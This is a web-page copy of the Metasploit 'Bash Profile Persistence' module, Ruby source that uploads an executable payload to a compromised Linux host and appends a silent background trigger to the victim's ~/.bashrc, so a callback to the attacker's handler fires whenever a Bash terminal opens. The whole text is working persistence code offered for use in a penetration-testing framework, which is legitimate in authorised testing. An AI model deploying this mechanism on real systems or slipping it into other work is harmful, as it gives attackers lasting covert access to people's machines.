Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/local/bash_profile_persistence.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = NormalRanking7include Msf::Post::Common8include Msf::Post::File9include Msf::Post::Unix1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Bash Profile Persistence',16'Description' => %q{17This module writes an execution trigger to the target's Bash profile.18The execution trigger executes a call back payload whenever the target19user opens a Bash terminal. A handler is not run automatically, so you20must configure an appropriate exploit/multi/handler to receive the callback.21},22'License' => MSF_LICENSE,23'Author' => [24'Michael Long <bluesentinel[at]protonmail.com>'25],26'DisclosureDate' => '1989-06-08', # First public release of Bourne Again Shell27'Platform' => ['unix', 'linux'],28'Arch' => ARCH_CMD,29'SessionTypes' => ['meterpreter', 'shell'],30'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true },31'Targets' => [32['Automatic', {}]33],34'DefaultTarget' => 0,35'Payload' => {36'Compat' =>37{38'PayloadType' => 'cmd',39'Meterpreter' => {40'Commands' => %w[41stdapi_sys_config_sysinfo42]43}44}45},46'References' => [47['URL', 'https://attack.mitre.org/techniques/T1156/']48],49'Notes' => {50'Reliability' => [ REPEATABLE_SESSION ],51'Stability' => [ CRASH_SAFE ],52'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ]53}54)55)5657register_options(58[59OptString.new('BASH_PROFILE', [true, 'Target Bash profile location. Usually ~/.bashrc or ~/.bash_profile.', '~/.bashrc']),60OptString.new('PAYLOAD_DIR', [true, 'Directory to write persistent payload file.', '/var/tmp/'])61]62)63end6465def exploit66# expand home directory path (i.e. '~/.bashrc' becomes '/home/user/.bashrc')67profile_path = datastore['BASH_PROFILE']68if profile_path.start_with?('~/')69home_directory = get_env('$HOME')70profile_path.sub!(/^~/, home_directory)71end7273# check that target Bash profile file exists74unless exist?(profile_path)75fail_with Failure::NotFound, profile_path76end77print_good("Bash profile exists: #{profile_path}")7879# check that target Bash profile file is writable80unless writable?(profile_path)81fail_with Failure::NoAccess, profile_path82end83print_good("Bash profile is writable: #{profile_path}")8485# create Bash profile backup on local system before persistence is added86backup_profile = read_file(profile_path)87backup_profile_path = create_backup_file(backup_profile)88print_status("Created backup Bash profile: #{backup_profile_path}")8990# upload persistent payload to target and make executable (chmod 700)91payload_file = datastore['PAYLOAD_DIR'] + Rex::Text.rand_text_alpha(10..16)92upload_and_chmodx(payload_file, payload.encoded)9394# write payload trigger to Bash profile95exec_payload_string = "#{payload_file} > /dev/null 2>&1 &" + "\n" # send stdin,out,err to /dev/null96append_file(profile_path, exec_payload_string)97print_good('Created Bash profile persistence')98print_status('Payload will be triggered when target opens a Bash terminal')99print_warning("Don't forget to start your handler:")100print_warning("msf> handler -H #{datastore['LHOST']} -P #{datastore['LPORT']} -p #{datastore['PAYLOAD']}")101end102103# create a backup copy of the target's Bash profile on the local system before persistence is added104def create_backup_file(backup_profile)105begin106hostname = session.sys.config.sysinfo['Computer']107rescue NoMethodError108hostname = cmd_exec('hostname')109end110111timestamp = '_' + ::Time.now.strftime('%Y%m%d.%H%M%S')112113log_directory_name = ::File.join(Msf::Config.log_directory, 'persistence/' + hostname + timestamp)114115::FileUtils.mkdir_p(log_directory_name)116117log_file_name = log_directory_name + '/Bash_Profile.backup'118file_local_write(log_file_name, backup_profile)119return log_file_name120end121end122123124